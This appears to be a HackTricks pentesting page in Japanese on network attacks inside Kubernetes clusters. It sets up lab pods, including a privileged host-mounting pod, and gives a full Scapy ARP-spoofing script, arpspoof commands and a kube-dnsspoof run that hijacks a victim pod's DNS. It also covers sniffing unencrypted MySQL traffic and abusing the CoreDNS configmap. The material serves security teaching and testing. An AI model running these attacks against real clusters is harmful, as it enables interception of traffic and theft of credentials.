# Kubernetes Network Attacks {{#include ../../banners/hacktricks-training.md}} ## Introduction Kubernetesでは、デフォルトの動作により、**同じノードに存在するすべてのコンテナ間で接続が確立される**ことが許可されています。これは、名前空間の区別に関係なく適用されます。このような接続は、**Layer 2**(イーサネット)まで拡張されます。したがって、この構成はシステムを脆弱性にさらす可能性があります。具体的には、**悪意のあるコンテナ**が同じノードにある他のコンテナに対して**ARPスプーフィング攻撃**を実行する可能性を開きます。この攻撃中、悪意のあるコンテナは、他のコンテナ向けのネットワークトラフィックを欺いて傍受または変更することができます。 ARPスプーフィング攻撃は、**攻撃者がローカルエリアネットワーク上で偽のARP**(アドレス解決プロトコル)メッセージを送信することを含みます。これにより、**攻撃者のMACアドレスがネットワーク上の正当なコンピュータまたはサーバーのIPアドレスにリンクされます**。このような攻撃が成功裏に実行された後、攻撃者はデータを傍受、変更、または停止することができます。この攻撃はOSIモデルのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルトの接続性はセキュリティ上の懸念を引き起こします。 シナリオでは、4台のマシンが作成されます: - ubuntu-pe: ノードにエスケープしてメトリクスを確認するための特権マシン(攻撃には必要ありません) - **ubuntu-attack**: **悪意のある**コンテナ(デフォルトの名前空間内) - **ubuntu-victim**: **被害者**マシン(kube-system名前空間内) - **mysql**: **被害者**マシン(デフォルトの名前空間内) ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## 基本的なKubernetesネットワーキング ここで紹介されているネットワーキングのトピックについての詳細は、リファレンスを参照してください。 ### ARP 一般的に言えば、**ノード内のポッド間ネットワーキング**は、すべてのポッドを接続する**ブリッジ**を介して利用可能です。このブリッジは「**cbr0**」と呼ばれます。(一部のネットワークプラグインは独自のブリッジをインストールします。)**cbr0はARP**(アドレス解決プロトコル)解決も処理できます。cbr0に到着した受信パケットは、ARPを使用して宛先MACアドレスを解決できます。 この事実は、デフォルトでは、**同じノードで実行されているすべてのポッド**が、**同じノード内の他のポッド**(名前空間に関係なく)とイーサネットレベル(レイヤー2)で**通信**できることを意味します。 > [!WARNING] > したがって、**同じノード内のポッド間でARPスプーフィング攻撃を実行することが可能です。** ### DNS Kubernetes環境では、通常、kube-system名前空間で1つ(またはそれ以上)の**DNSサービスが実行されている**のを見つけることができます: ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` 前の情報には興味深いことが見られます。**サービスのIP**は**10.96.0.10**ですが、**サービスを実行しているポッドのIP**は**172.17.0.2**です。 任意のポッド内でDNSアドレスを確認すると、次のようなものが見つかります: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` しかし、ポッドはそのアドレスに到達する方法を**知らない**ため、この場合のポッド範囲は172.17.0.10/26です。 したがって、ポッドは**アドレス10.96.0.10にDNSリクエストを送信**し、cbr0によって**172.17.0.2に変換**されます。 > [!WARNING] > これは、ポッドの**DNSリクエスト**が**常に**ブリッジに行き、**サービスIPをエンドポイントIPに変換**することを意味します。たとえDNSサーバーがポッドと同じサブネットワークにあってもです。 > > これを知っており、**ARP攻撃が可能であることを知っている**場合、ノード内の**ポッド**は**サブネットワーク内の各ポッド**と**ブリッジ**間の**トラフィックを傍受**し、DNSサーバーからの**DNSレスポンスを変更**することができます(**DNSスプーフィング**)。 > > さらに、**DNSサーバー**が**攻撃者と同じノードにある**場合、攻撃者はクラスター内の任意のポッドの**すべてのDNSリクエストを傍受**し(DNSサーバーとブリッジの間)、レスポンスを変更することができます。 ## 同じノード内のポッドにおけるARPスプーフィング 私たちの目標は、**ubuntu-victimからmysqlへの通信を少なくとも盗むこと**です。 ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing 既に述べたように、もしあなたが**DNSサーバーポッドと同じノードのポッドを侵害**した場合、**ARPSpoofing**を使用して**ブリッジとDNS**ポッドを**MitM**し、**すべてのDNSレスポンスを変更**することができます。 あなたには、これをテストするための素晴らしい**ツール**と**チュートリアル**があります:[**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) 私たちのシナリオでは、**攻撃者ポッドにツールをダウンロード**し、**スプーフィングしたいドメイン**を含む**`hosts`という名前のファイルを作成**します。 ``` cat hosts google.com. 1.1.1.1 ``` ubuntu-victimマシンに対して攻撃を実行します: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > 自分のDNSスプーフィングスクリプトを作成しようとする場合、**DNS応答を変更するだけでは**、**機能しません**。なぜなら、**応答**には**悪意のある****ポッド**の**src IP**が含まれ、**受け入れられない**からです。\ > 被害者がDNSリクエストを送信する**DNS**の**src IP**を持つ**新しいDNSパケット**を生成する必要があります(これは172.16.0.2のようなもので、10.96.0.10ではありません。これはK8s DNSサービスのIPであり、DNSサーバーのIPではありません。詳細はイントロダクションで説明します)。 ## coreDNS configmapを介したDNSスプーフィング kube-system名前空間のconfigmap `coredns`に対する書き込み権限を持つユーザーは、クラスターのDNS応答を変更できます。 この攻撃に関する詳細情報は以下を確認してください: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} ## 公開されたKubernetes管理サービスの悪用 Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetesダッシュボードなどのサービスは、インターネットまたはKubernetesネットワーク内に公開されていることがよくあります。Kubernetesを管理するために使用されるプラットフォームを**見つけてアクセスできた**攻撃者は、それを悪用してKubernetes APIにアクセスし、新しいポッドを作成したり、既存のポッドを変更したり、さらには削除したりすることができます。 ## Kubernetesネットワークポリシーの列挙 構成された**networkpolicies**を取得します: ```bash kubectl get networkpolicies --all-namespaces ``` **Callico** ネットワークポリシーを取得する: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` **Cillium** ネットワークポリシーを取得する: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` ネットワークプラグインやセキュリティソリューションによってインストールされた他のポリシー関連のCRDを取得します: ```bash kubectl get crd | grep -i policy ``` ## トラフィックのキャプチャ ツール [**Mizu**](https://github.com/up9inc/mizu) は、Kubernetes 用のシンプルでありながら強力な API **トラフィックビューワー**で、マイクロサービス間のすべての API 通信を **表示**し、デバッグや回帰のトラブルシューティングを支援します。\ 選択したポッドにエージェントをインストールし、トラフィック情報を収集してウェブサーバーに表示します。ただし、これには高い K8s 権限が必要で(あまりステルスではありません)。 ## 参考文献 - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}